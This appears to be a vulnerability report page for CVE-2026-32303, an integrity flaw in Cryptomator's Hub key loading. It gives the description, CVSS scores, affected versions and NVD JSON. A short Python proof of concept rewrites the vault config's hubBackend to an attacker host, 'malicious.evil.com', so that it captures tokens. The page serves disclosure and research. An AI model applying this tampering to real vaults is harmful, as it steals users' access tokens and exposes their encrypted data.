Security Vulnerability Report
中文
CVE-2026-32303 CVSS 7.6 HIGH

CVE-2026-32303

Published: 2026-03-20 18:16:15
Last Modified: 2026-03-26 13:55:14

Description

Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, an integrity check vulnerability allows an attacker to tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.19.1.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:* - VULNERABLE
Cryptomator < 1.19.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Demonstration of vault.cryptomator tampering # This is a conceptual representation. An attacker would modify the JSON structure. import json # Simulating reading the vault config with open('vault.cryptomator', 'r') as f: config = json.load(f) # Check if Hub configuration exists if 'hubBackend' in config: print(f"Original Backend: {config['hubBackend']}") # Tamper with the endpoint to point to a malicious server # Attacker controls this endpoint to capture tokens config['hubBackend'] = "https://malicious.evil.com/api" # Write the tampered config back with open('vault.cryptomator', 'w') as w: json.dump(config, w, indent=4) print("[+] Configuration file tampered successfully.") print("[+] When the user unlocks the vault, the token will be sent to the malicious endpoint.") else: print("[-] Hub configuration not found in this vault.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32303", "sourceIdentifier": "[email protected]", "published": "2026-03-20T18:16:14.593", "lastModified": "2026-03-26T13:55:14.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, an integrity check vulnerability allows an attacker to tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.19.1."}, {"lang": "es", "value": "Cryptomator cifra datos almacenados en infraestructura en la nube. Antes de la versión 1.19.1, una vulnerabilidad de verificación de integridad permite a un atacante manipular el archivo de configuración de la bóveda, lo que lleva a una vulnerabilidad de man-in-the-middle en el mecanismo de carga de claves de Hub. Antes de esta corrección, el cliente confiaba en los puntos finales de la configuración de la bóveda sin verificaciones de autenticidad del host, lo que podría permitir la exfiltración de tokens al mezclar un punto final de autenticación legítimo con un punto final de API malicioso. Los usuarios afectados son aquellos que desbloquean bóvedas respaldadas por Hub con versiones de cliente afectadas en entornos donde un atacante puede alterar el archivo vault.cryptomator. Este problema ha sido parcheado en la versión 1.19.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-354"}, {"lang": "en", "value": "CWE-451"}, {"lang": "en", "value": "CWE-923"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.19.1", "matchCriteriaId": "039991F9-B02C-4F96-B022-2ACFD48A068C"}]}]}], "references": [{"url": "https://github.com/cryptomator/cryptomator/commit/6b82abcd80449a30b561d823193f9ecea542a625", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/cryptomator/cryptomator/pull/4179", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/cryptomator/cryptomator/releases/tag/1.19.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/cryptomator/cryptomator/security/advisories/GHSA-34rf-rwr3-7g43", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}